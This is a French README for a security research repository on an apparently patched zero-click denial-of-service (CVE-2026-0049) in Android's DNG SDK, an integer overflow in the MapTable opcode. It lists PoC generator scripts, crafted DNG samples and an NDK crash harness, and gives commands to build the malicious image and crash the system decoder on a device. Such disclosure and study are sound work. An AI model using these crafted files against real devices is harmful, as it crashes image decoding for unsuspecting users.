
PoC et analyse d'un DoS zero-click dans le SDK DNG d'Android, avec des échantillons DNG spécialement conçus, un harnais de crash NDK et une reproduction du débordement de MapTable via UBSan/IntSan.
Matériel de recherche complet et PoC. Analyse narrative : 🇮🇹 BLOG.md · 🇬🇧 BLOG.en.md.
fAreaSpec.Plane() + fAreaSpec.Planes()
dans dng_opcode_MapTable::ProcessArea (dng_sdk/source/dng_misc_opcodes.cpp:388).libdng_sdk.so
transforme le dépassement en abort() → SIGABRT dans le processus qui décode le DNG.2026-04-01, A-456471290). Deux
patchs : correction arithmétique dans le dng_sdk (+ réécrit en -) + allowlist MIME dans
LocalImageResolver.java qui rejette les DNG (§14).L'article détaille également : le parcours complet de génération du PoC (§6), pourquoi
un harness NDK a été utilisé (§7), la différence entre les flags UBSan/IntSan
-fsanitize=undefined vs =integer, recover/no-recover/trap, full vs minimal runtime
(§10), et IntSan vs SafeInt vs MTE (§11).
CVE-2026-0049/
├── BLOG.md article complet — italien (17 sections)
├── BLOG.en.md full article — English (17 sections)
├── poc/
│ ├── inject_opcode.py [PRINCIPAL] injecte OpcodeList2/MapTable dans un DNG valide
│ ├── gen_base_dng.py génère le DNG Bayer valide de base (nécessite pidng)
│ ├── make_dng.py générateur autonome (DNG minimal + opcode)
│ └── make_poc_dng.py premier générateur from-scratch (LinearRaw minimal)
├── harness/
│ ├── decode_poc.c harness NDK AImageDecoder (crash on-device)
│ └── dng_xmp_stub.cpp stub XMP pour compiler dng_validate sur PC
├── samples/
│ ├── valid_poc.dng PoC fonctionnel (fait planter le décodeur système)
│ ├── base_benign.dng contrôle bénin (décodage sans crash)
│ └── poc_minimal.dng variante minimale from-scratch
└── evidence/
├── crash_backtrace.txt tombstone réel du Pixel 9
└── device_analysis.md analyse binaire libdng_sdk.so + IntSan/SafeInt/MTE
pip install pidng
python3 poc/gen_base_dng.py base # -> base.dng (Bayer valide)
python3 poc/inject_opcode.py base.dng valid_poc.dng poc
# ou utilisez directement samples/valid_poc.dng
Détail critique : l'AreaSpec doit être non vide (0,0,H,W) ; avec une zone vide,
la dng_sdk d'Android court-circuite et le décodage renvoie une erreur sans crash
(voir §6.6 de BLOG.md). Pourquoi il faut un DNG pleinement valide et non un minimal :
SkRawCodec (décodeur système) est plus strict que Glide/Photos et rejette les DNG sans
métadonnées couleur complètes (§2, §6.1).
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang \
-O0 -o decode_poc harness/decode_poc.c -ljnigraphics
adb push decode_poc valid_poc.dng /data/local/tmp/ # NB : /data/local/tmp, PAS /sdcard (FUSE)
adb shell /data/local/tmp/decode_poc /data/local/tmp/valid_poc.dng
# -> Abort message: 'ubsan: add-overflow' ; SIGABRT in dng_opcode_MapTable::ProcessArea
Compilez les sources dng_sdk en appliquant -fsanitize=integer -fno-sanitize-recover
uniquement à dng_misc_opcodes.cpp (utilisez harness/dng_xmp_stub.cpp pour linker sans
le SDK XMP). Puis :
./dng_validate samples/valid_poc.dng
# dng_misc_opcodes.cpp:388:32: runtime error: unsigned integer overflow: 4294967040 + 512
Réservé à la recherche/pédagogie. Testé exclusivement sur du matériel appartenant à l'auteur.